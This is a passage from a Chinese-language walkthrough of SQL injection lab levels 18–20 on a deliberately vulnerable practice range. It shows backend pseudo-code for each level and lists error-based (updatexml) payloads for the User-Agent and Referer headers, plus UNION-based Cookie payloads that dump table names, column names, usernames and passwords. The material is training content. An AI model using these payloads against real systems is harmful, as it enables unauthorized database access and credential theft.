由于$_SERVER['REMOTE_ADDR']是无法被客户端伪造的,当账号密码成功输入会返回 User-Agent 信息,因此只能通过修改 User-Agent 进行注入

使用报错注入查询基础信息

User-Agent: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1User-Agent: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1User-Agent: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1

查询表名

User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1

查询列名

User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1

User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1

Lesson-19

该题为referer post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址

目标SQL语句如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR']$uname = check_input($POST['uname']);$passwd = check_input($POST['passswd']);$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";# 返回内容if SQL语句有返回结果: $insert ="INSERT INTO `security`.`referers` (`referer`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')"; 输出 $SERVER['HTTP_REFERER']; print_r(mysql_error());if 报错: print_r(mysql_error());

注意:本题与Lesson18的利用方式相同,只不过注入点由User-Agent换成了Referer当中

在 PHP 中可用来获取客户端 IP 变量如下:

  • $_SERVER[‘HTTP_CLIENT_IP’]:很少使用,客户端可伪造
  • $_SERVER[‘HTTP_X_FORWARDED_FOR’]:客户端可伪造
  • $_SERVER[‘REMOTE_ADDR’]:客户端不能伪造

由于$_SERVER['REMOTE_ADDR']是无法被客户端伪造的,当账号密码成功输入会返回 Referer 信息,因此只能通过修改 Referer 进行注入

使用报错注入查询基础信息

Referer: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1Referer: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1Referer: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1

查询表名

Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1

查询列名

Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1

Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1

Lesson-20

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', $cookee, timne()-3600) else: print_r(mysql_error());else: if POST 数据中没有 $submit: $cookee = $_COOKIE['uname'];$sql = "select * from users WHERE usernmae='$cookee' LIMIT 0,1"; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', $row1['username'], time-3600);

注意:本题源码相对之前的较为复杂,注入点存在于cookie当中,它会从cookie中读取$uname并拼接至SQL语句当中从到造成注入,与此同时还输出了查询信息。因此可以联合查询、报错注入、布尔盲注、时间盲注

登录成功后界面如下:

使用联合查询判断字段数

Cookie: uname=admin' order by 3# //返回正常界面

Cookie: uname=admin' order by 4# //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

Cookie: uname=-admin' union select 1,2,3#

查询基础信息

Cookie: uname=-admin' union select 1,2,user()#Cookie: uname=-admin' union select 1,2,version()#Cookie: uname=-admin' union select 1,2,database()#

查询表名

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

查询列名

Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

查询关键信息

Cookie: uname=-admin' union select 1,group_concat(username),group_concat(password) from users#

0x04 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了靶场环境搭建以及1-20关基础注入的通过教程,后续将持续推出21-65关通关教程。

0x05 知识星球